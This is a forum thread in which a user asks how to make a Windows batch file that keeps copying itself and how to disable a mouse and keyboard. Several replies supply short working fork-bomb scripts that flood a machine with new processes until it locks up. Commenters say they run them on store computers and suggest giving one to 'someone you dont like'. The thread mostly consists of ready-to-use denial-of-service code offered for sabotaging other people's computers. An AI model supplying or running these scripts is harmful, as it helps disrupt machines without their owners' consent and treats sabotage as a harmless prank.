How to create a batch file dat would a keep on copying itself?I also wanna know the commands to disable mouse&keyboard?

Hi, i would be glad to know..... i luv this site fr everything it offers. I need help and dont know where else to go. So, i need to know hoe to create a batch file ( through notepad saved as .bat) that would automatically copy itself over ones pc, not just in that folder, i know that it would be a fork bomb. I also do need to know the command ffor disabling mouse & keyboard. Or seperate command for each one of them. GLAD TO BE HELPED.......

sort by: active | newest | oldest
macweirdo8 years ago
OK, you can't disable mouse or keyboard w/ batch, but...

@ECHO OFF
:LOOP
SET random=random
echo start %random%.bat>%random%.bat
start %random%.bat
goto LOOP

...is another fork bomb that multiplies and floods the screen.
good stuff (: i like using these on computers at BestBuy XD
Shortest spam code ever:

for /l %%i in (0,0,0) do start
Or not...

%0|%0

Is the shortest I have seen, although it might just work with
%0
~KnexBuild~5 years ago
You can switch the mouse buttons by openig the control panel>mouse and then check the checkbox to switch the mouse buttons.
Hey, heres a simple .bat program that will just totally flood the screen with CMD! Give it to someone you dont like (: echo off :A start goto a
thanks!
No problem man! But.. be careful! And don't be to dumb with it! (: